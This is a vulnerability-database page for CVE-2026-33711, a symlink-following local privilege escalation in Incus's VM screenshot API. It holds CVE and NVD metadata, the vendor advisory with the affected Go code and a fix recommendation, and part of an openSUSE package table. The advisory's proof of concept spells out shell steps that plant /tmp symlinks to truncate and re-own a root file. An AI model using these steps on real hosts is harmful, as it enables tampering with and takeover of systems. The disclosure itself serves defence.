Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-33711 (GCVE-0-2026-33711)
Vulnerability from cvelistv5 – Published: 2026-03-26 22:37 – Updated: 2026-03-27 20:00- CWE-61 - UNIX Symbolic Link (Symlink) Following
| URL | Tags |
|---|---|
| https://github.com/lxc/incus/security/advisories/… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33711",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T14:10:12.851754Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T20:00:18.358Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "incus",
"vendor": "lxc",
"versions": [
{
"status": "affected",
"version": "\u003c 6.23.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Incus is a system container and virtual machine manager. Incus provides an API to retrieve VM screenshots. That API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion. As versions prior to 6.23.0 use predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time. On the vast majority of Linux systems, this will result in a \"Permission denied\" error when requesting a screenshot. That\u0027s because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`. On the rare systems with this purposefully disabled, it\u0027s then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation. Version 6.23.0 fixes the issue."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 4.7,
"baseSeverity": "MEDIUM",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-61",
"description": "CWE-61: UNIX Symbolic Link (Symlink) Following",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-26T22:37:29.746Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x"
}
],
"source": {
"advisory": "GHSA-q9vp-3wcg-8p4x",
"discovery": "UNKNOWN"
},
"title": "Incus vulnerable to local privilege escalation through VM screenshot path"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33711",
"datePublished": "2026-03-26T22:37:29.746Z",
"dateReserved": "2026-03-23T17:06:05.747Z",
"dateUpdated": "2026-03-27T20:00:18.358Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-33711",
"date": "2026-05-16",
"epss": "6e-05",
"percentile": "0.00308"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-33711\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-26T23:16:20.423\",\"lastModified\":\"2026-03-30T18:51:41.500\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Incus is a system container and virtual machine manager. Incus provides an API to retrieve VM screenshots. That API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion. As versions prior to 6.23.0 use predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time. On the vast majority of Linux systems, this will result in a \\\"Permission denied\\\" error when requesting a screenshot. That\u0027s because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`. On the rare systems with this purposefully disabled, it\u0027s then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation. Version 6.23.0 fixes the issue.\"},{\"lang\":\"es\",\"value\":\"Incus es un gestor de contenedores de sistema y m\u00e1quinas virtuales. Incus proporciona una API para recuperar capturas de pantalla de la m\u00e1quina virtual. Esa API se basa en el uso de un archivo temporal para que QEMU escriba la captura de pantalla, la cual luego se recoge y se env\u00eda al usuario antes de su eliminaci\u00f3n. Dado que las versiones anteriores a la 6.23.0 utilizan rutas predecibles bajo /tmp para esto, un atacante con acceso local al sistema puede abusar de este mecanismo creando sus propios enlaces simb\u00f3licos con antelaci\u00f3n. En la gran mayor\u00eda de los sistemas Linux, esto resultar\u00e1 en un error de \u0027Permiso denegado\u0027 al solicitar una captura de pantalla. Esto se debe a que el kernel de Linux tiene una caracter\u00edstica de seguridad dise\u00f1ada para bloquear tales ataques, protected_symlinks. En los sistemas raros con esto deshabilitado a prop\u00f3sito, es entonces posible enga\u00f1ar a Incus para que trunque y altere el modo y los permisos de archivos arbitrarios en el sistema de archivos, lo que lleva a una potencial denegaci\u00f3n de servicio o posible escalada de privilegios local. La versi\u00f3n 6.23.0 corrige el problema.\"}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":4.7,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"PRESENT\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"PROOF_OF_CONCEPT\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-61\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"6.23.0\",\"matchCriteriaId\":\"CBE3ABCB-1D47-4A45-A09A-C9F609C53131\"}]}]}],\"references\":[{\"url\":\"https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-33711\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-27T14:10:12.851754Z\"}}}], \"references\": [{\"url\": \"https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-27T14:10:23.208Z\"}}], \"cna\": {\"title\": \"Incus vulnerable to local privilege escalation through VM screenshot path\", \"source\": {\"advisory\": \"GHSA-q9vp-3wcg-8p4x\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 4.7, \"attackVector\": \"LOCAL\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"PRESENT\", \"privilegesRequired\": \"LOW\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"HIGH\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"lxc\", \"product\": \"incus\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 6.23.0\"}]}], \"references\": [{\"url\": \"https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x\", \"name\": \"https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Incus is a system container and virtual machine manager. Incus provides an API to retrieve VM screenshots. That API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion. As versions prior to 6.23.0 use predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time. On the vast majority of Linux systems, this will result in a \\\"Permission denied\\\" error when requesting a screenshot. That\u0027s because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`. On the rare systems with this purposefully disabled, it\u0027s then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation. Version 6.23.0 fixes the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-61\", \"description\": \"CWE-61: UNIX Symbolic Link (Symlink) Following\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-26T22:37:29.746Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-33711\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-27T20:00:18.358Z\", \"dateReserved\": \"2026-03-23T17:06:05.747Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-26T22:37:29.746Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
GHSA-Q9VP-3WCG-8P4X
Vulnerability from github – Published: 2026-03-27 17:09 – Updated: 2026-03-27 17:09Summary
Incus provides an API to retrieve VM screenshots, that API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion.
As Incus uses predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time.
On the vast majority of Linux systems, this will result in a "Permission denied" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, protected_symlinks.
On the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation.
Details
The incusd daemon contains a local privilege escalation (LPE) primitive in the Virtual Machine VGA screenshot handling routine. When a screenshot is requested, the daemon creates a file in the globally writable /tmp directory using a deterministic pathname derived from the instance identifier. Because this implementation uses a predictable pathname in a world-writable directory, it exposes the operation to pathname attacks. The file permissions are then restricted, and the file is passed to the QEMU screenshot routine. In the QEMU path, ownership is transferred to the unprivileged Virtual Machine UID before the QEMU Machine Protocol is invoked with the same pathname.
An attacker able to pre-place or otherwise control that pathname can redirect truncation and ownership changes to an unintended host file.
This allows attacker-chosen host files to be truncated and have ownership reassigned to the unprivileged VM UID. In practice, this can be used to destroy sensitive root-owned files and alter ownership of security-relevant host paths. Depending on the targeted path and follow-up conditions, the impact may include denial of service, corruption of credentials or configuration, persistence through modified startup or service files, and further privilege escalation on the host.
As previously mentioned, this is only possible if the kernel protection mechanism has been previously disabled.
It's possible to check on its status by reading the file at /proc/sys/fs/protected_symlinks, a value of 0 is required for this attack to work.
Affected File: https://github.com/lxc/incus/blob/v6.20.0/cmd/incusd/instance_console.go
Affected Code:
func instanceConsoleGet(d *Daemon, r *http.Request) response.Response {
[...]
} else if inst.Type() == instancetype.VM {
v, ok := inst.(instance.VM)
if !ok {
return response.SmartError(errors.New("Failed to cast inst to VM"))
}
var headers map[string]string
if consoleLogType == "vga" {
screenshotFile, err := os.Create(fmt.Sprintf("/tmp/incus_screenshot_%d", inst.ID()))
if err != nil {
return response.SmartError(fmt.Errorf("Couldn't create screenshot file: %w", err))
}
err = screenshotFile.Chmod(0o600)
if err != nil {
return response.SmartError(err)
}
ent.Cleanup = func() {
_ = screenshotFile.Close()
_ = os.Remove(screenshotFile.Name())
}
err = v.ConsoleScreenshot(screenshotFile)
if err != nil {
return response.SmartError(err)
}
[...]
}
[...]
}
Affected File: https://github.com/lxc/incus/blob/v6.20.0/internal/server/instance/drivers/driver_qemu.go
Affected Code:
func (d *qemu) ConsoleScreenshot(screenshotFile *os.File) error {
if !d.IsRunning() {
return errors.New("Instance is not running")
}
// Check if the agent is running.
monitor, err := d.qmpConnect()
if err != nil {
return err
}
err = screenshotFile.Chown(int(d.state.OS.UnprivUID), -1)
if err != nil {
return fmt.Errorf("Failed to chown screenshot path: %w", err)
}
// Take the screenshot.
err = monitor.Screendump(screenshotFile.Name())
if err != nil {
return fmt.Errorf("Failed taking screenshot: %w", err)
}
return nil
}
PoC
The following PoC demonstrates that a local attacker can pre-place symlink traps in the predictable /tmp/incus_screenshot_ namespace and coerce the root incusd daemon into truncating an unintended host file and reassigning its ownership during a VM VGA screenshot request.
Step 0: Disable the kernel symlink protection mechanism
Commands (as root):
echo 0 > /proc/sys/fs/protected_symlinks
Step 1: Prepare the target VM
From an Incus client with access to the target server, ensure a running virtual machine exists that can service the VGA screenshot path.
Commands:
incus init images:alpine/edge lpe-vm --vm --project default
incus config set lpe-vm security.secureboot=false --project default
incus start lpe-vm --project default
Step 2: Create a root-owned trap target and pre-place /tmp symlinks
On the Incus host, create a sensitive root-owned file and place symlinks across a range of likely screenshot identifiers so that the predictable daemon pathname resolves to the chosen host target.
Commands:
echo "SuperSecretRootHash" > /root/shadow_trap
chmod 600 /root/shadow_trap
ls -l /root/shadow_trap
for i in $(seq 1 100); do
ln -sf /root/shadow_trap /tmp/incus_screenshot_$i
done
ls -l /tmp/incus_screenshot_* | head
Result:
-rw------- 1 root root 20 Mar 18 00:27 /root/shadow_trap
Step 3: Trigger the vulnerable screenshot path
From an Incus client with access to the target server, request the VM VGA console through the Incus API. This causes the daemon to open the predictable /tmp/incus_screenshot_ path, change its ownership, and pass the same pathname into the QEMU screendump flow.
Command:
incus query -X GET "/1.0/instances/lpe-vm/console?project=default&type=vga" > /dev/null
Result:
Error: Failed taking screenshot: Failed to connect to QEMU monitor
Step 4: Verify host-side impact
On the Incus host, inspect the previously root-owned target file and confirm that it has been truncated and that ownership has been reassigned to the unprivileged VM UID.
Command:
ls -l /root/shadow_trap && stat /root/shadow_trap
Result:
-rw------- 1 incus root 0 Mar 18 00:29 /root/shadow_trap
File: /root/shadow_trap
Size: 0
Access: (0600/-rw-------)
Uid: ( 100000/ incus)
Gid: ( 0/ root)
It is recommended to create the temporary file securely in a directory controlled exclusively by the daemon, avoid predictable /tmp paths, and avoid reusing a mutable pathname after file creation.
Credit
This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33711"
],
"database_specific": {
"cwe_ids": [
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T17:09:45Z",
"nvd_published_at": "2026-03-26T23:16:20Z",
"severity": "MODERATE"
},
"details": "### Summary\nIncus provides an API to retrieve VM screenshots, that API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion.\n\nAs Incus uses predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time.\n\nOn the vast majority of Linux systems, this will result in a \"Permission denied\" error when requesting a screenshot. That\u0027s because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`.\n\nOn the rare systems with this purposefully disabled, it\u0027s then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation.\n\n### Details\nThe incusd daemon contains a local privilege escalation (LPE) primitive in the Virtual Machine VGA screenshot handling routine. When a screenshot is requested, the daemon creates a file in the globally writable /tmp directory using a deterministic pathname derived from the instance identifier. Because this implementation uses a predictable pathname in a world-writable directory, it exposes the operation to pathname attacks. The file permissions are then restricted, and the file is passed to the QEMU screenshot routine. In the QEMU path, ownership is transferred to the unprivileged Virtual Machine UID before the QEMU Machine Protocol is invoked with the same pathname.\n\nAn attacker able to pre-place or otherwise control that pathname can redirect truncation and ownership changes to an unintended host file.\n\nThis allows attacker-chosen host files to be truncated and have ownership reassigned to the unprivileged VM UID. In practice, this can be used to destroy sensitive root-owned files and alter ownership of security-relevant host paths. Depending on the targeted path and follow-up conditions, the impact may include denial of service, corruption of credentials or configuration, persistence through modified startup or service files, and further privilege escalation on the host.\n\nAs previously mentioned, this is only possible if the kernel protection mechanism has been previously disabled.\nIt\u0027s possible to check on its status by reading the file at `/proc/sys/fs/protected_symlinks`, a value of 0 is required for this attack to work.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/cmd/incusd/instance_console.go \n\nAffected Code:\n```go\nfunc instanceConsoleGet(d *Daemon, r *http.Request) response.Response {\n [...]\n } else if inst.Type() == instancetype.VM {\n v, ok := inst.(instance.VM)\n if !ok {\n return response.SmartError(errors.New(\"Failed to cast inst to VM\"))\n }\n\n var headers map[string]string\n if consoleLogType == \"vga\" {\n screenshotFile, err := os.Create(fmt.Sprintf(\"/tmp/incus_screenshot_%d\", inst.ID()))\n if err != nil {\n return response.SmartError(fmt.Errorf(\"Couldn\u0027t create screenshot file: %w\", err))\n }\n\n err = screenshotFile.Chmod(0o600)\n if err != nil {\n return response.SmartError(err)\n }\n\n ent.Cleanup = func() {\n _ = screenshotFile.Close()\n _ = os.Remove(screenshotFile.Name())\n }\n\n err = v.ConsoleScreenshot(screenshotFile)\n if err != nil {\n return response.SmartError(err)\n }\n [...]\n }\n [...]\n}\n```\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/internal/server/instance/drivers/driver_qemu.go \n\nAffected Code:\n```go\nfunc (d *qemu) ConsoleScreenshot(screenshotFile *os.File) error {\n if !d.IsRunning() {\n return errors.New(\"Instance is not running\")\n }\n\n\n // Check if the agent is running.\n monitor, err := d.qmpConnect()\n if err != nil {\n return err\n }\n\n err = screenshotFile.Chown(int(d.state.OS.UnprivUID), -1)\n if err != nil {\n return fmt.Errorf(\"Failed to chown screenshot path: %w\", err)\n }\n\n\n // Take the screenshot.\n err = monitor.Screendump(screenshotFile.Name())\n if err != nil {\n return fmt.Errorf(\"Failed taking screenshot: %w\", err)\n }\n\n return nil\n}\n```\n\n### PoC\nThe following PoC demonstrates that a local attacker can pre-place symlink traps in the predictable /tmp/incus_screenshot_\u003cID\u003e namespace and coerce the root incusd daemon into truncating an unintended host file and reassigning its ownership during a VM VGA screenshot request.\n\nStep 0: Disable the kernel symlink protection mechanism\n\nCommands (as root):\n```\necho 0 \u003e /proc/sys/fs/protected_symlinks\n```\n\nStep 1: Prepare the target VM\n\nFrom an Incus client with access to the target server, ensure a running virtual machine exists that can service the VGA screenshot path.\n\nCommands:\n```\nincus init images:alpine/edge lpe-vm --vm --project default\nincus config set lpe-vm security.secureboot=false --project default\nincus start lpe-vm --project default\n```\n\nStep 2: Create a root-owned trap target and pre-place /tmp symlinks\n\nOn the Incus host, create a sensitive root-owned file and place symlinks across a range of likely screenshot identifiers so that the predictable daemon pathname resolves to the chosen host target.\n\nCommands:\n```\necho \"SuperSecretRootHash\" \u003e /root/shadow_trap\nchmod 600 /root/shadow_trap\nls -l /root/shadow_trap\n\n\nfor i in $(seq 1 100); do\n ln -sf /root/shadow_trap /tmp/incus_screenshot_$i\ndone\n\nls -l /tmp/incus_screenshot_* | head\n```\n\nResult:\n```\n-rw------- 1 root root 20 Mar 18 00:27 /root/shadow_trap\n```\n\nStep 3: Trigger the vulnerable screenshot path\n\nFrom an Incus client with access to the target server, request the VM VGA console through the Incus API. This causes the daemon to open the predictable /tmp/incus_screenshot_\u003cID\u003e path, change its ownership, and pass the same pathname into the QEMU screendump flow.\n\n\nCommand:\n```\nincus query -X GET \"/1.0/instances/lpe-vm/console?project=default\u0026type=vga\" \u003e /dev/null\n```\n\nResult:\n```\nError: Failed taking screenshot: Failed to connect to QEMU monitor\n```\n\nStep 4: Verify host-side impact\n\nOn the Incus host, inspect the previously root-owned target file and confirm that it has been truncated and that ownership has been reassigned to the unprivileged VM UID.\n\nCommand:\n```\nls -l /root/shadow_trap \u0026\u0026 stat /root/shadow_trap\n```\n\nResult:\n```\n-rw------- 1 incus root 0 Mar 18 00:29 /root/shadow_trap\n File: /root/shadow_trap\n Size: 0\n Access: (0600/-rw-------)\n Uid: ( 100000/ incus)\n Gid: ( 0/ root)\n```\n\nIt is recommended to create the temporary file securely in a directory controlled exclusively by the daemon, avoid predictable /tmp paths, and avoid reusing a mutable pathname after file creation.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
"id": "GHSA-q9vp-3wcg-8p4x",
"modified": "2026-03-27T17:09:45Z",
"published": "2026-03-27T17:09:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33711"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/commit/ef006240ac2475ddea7b8406cecc7dbd1a883fdf"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/releases/tag/v6.23.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Incus vulnerable to local privilege escalation through VM screenshot path"
}
OPENSUSE-SU-2026:10450-1
Vulnerability from csaf_opensuse - Published: 2026-03-28 00:00 - Updated: 2026-03-28 00:00| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64 | — |
